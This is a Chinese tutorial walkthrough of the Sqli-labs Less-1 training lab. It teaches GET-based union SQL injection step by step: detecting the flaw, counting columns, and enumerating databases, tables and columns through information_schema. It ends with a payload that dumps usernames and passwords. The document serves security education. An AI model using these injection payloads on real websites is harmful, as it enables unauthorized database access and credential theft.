zoukankan      html  css  js  c++  java
  • Sqli-labs Less-1 Get Union注入

    打开页面后提示“请输入参数id,并为它赋一个数字值”。

    1、寻找注入点

    输入?id=1 正常;输入?id=1' 报错,说明存在sql注入漏洞。

    尝试在URL后添加?id=1回车,页面响应“Your Login name:Dumb Your Password:Dumb”。

    尝试在URL后添加?id=1'回车,页面报SQL语法错误。

    根据报错信息,猜想输入参数的值被放到一对单引号之间。

    猜测后台源码中存在类似于如下的数据库查询语句(可查看后台源码证实猜测):

    SELECT * FROM users WHERE id='$id' LIMIT 0,1
    

    2、使用order by 1-99查询该数据表中的字段数量

    输入?id=1' order by 3 --+ 正常;

    输入?id=1' order by 4 --+ 报错,说明该数据表中字段数为3。

    原理:select * from table order by n 表示查询结果按照select里面的第n个字段排序,如果表中只有3个字段,则我们order by 4查询时,因为没有第4个字段,所以报错。

    3、爆数据库

    在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面。由于是将数据输出到页面上的,所以可以使用union注入,且通过order by查询结果,得到的字段数为3,所以union注入的语句如下:?id=1' union select 1,2,3 --+     

    如上图所示,可以看到页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。

    可以通过设置参数ID值,让服务端返回union select的结果,例如把ID的值设置为-1(输入?id=-1' union select 1,2,3 --+),这样数据库中没有id=-1的数据,所以会返回union select的结果。如下图所示。

    返回的结果为2,3,意味着在union select 1,2,3中,2和3位置可以输入mysql语句。我们尝试在2的位置查询当前数据库名(使用database()函数),构造Payload如下

    ?id=-1' union select 1,database(),3 --+
    

    页面成功返回了数据库信息,得到数据库库名为security,如下图所示。

    4、爆数据表

    得知了数据库库名,接下来输入以下payload查询表名。

    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
    

    5、爆数据列(字段)

    现在,已知库名和表名,开始查询字段名,这里以users表名为例,构造payload如下。

    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
    

     

    6、爆数据值

    payload

    ?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
    

    知识点:

    (1)在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。

    • SCHEMATA表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAME。
    • TABLES表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
    • COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

    (2)需要记住的几个函数:

    • database():当前网站使用的数据库。
    • version():当前mysql的版本。
    • user():当前mysql的用户。

    (3)group_concat函数是典型的字符串连接函数。group_concat(table_name)表示把table_name字段的值打印在一行,逗号分隔(默认)。

    (4)0x3a是:16进制的分隔符,比如在爆数据值时,(username,0x3a,password)表示(username:password)。

    (5)--+中,“--”是SQL查询语句中的注释符,“+”在URL中表示空格。

  • 相关阅读:
    审核被拒:包含隐藏功能
    iOS好的个人博客和平台网站
    免费的Git和SVN服务器
    组件化
    三方生产利器
    RSA加密解密和签名验证机制以及其区别和联系
    APP和后台接口设计规范
    树和二叉树2——输出广义表形式(带括号)二叉树
    树和二叉树1——链式二叉树基础
    计算机图形学5——Two-Dimensional Viewing and Clipping(二维线段裁剪算法)
  • 原文地址:https://www.cnblogs.com/zhengna/p/12396669.html
Copyright © 2011-2022 走看看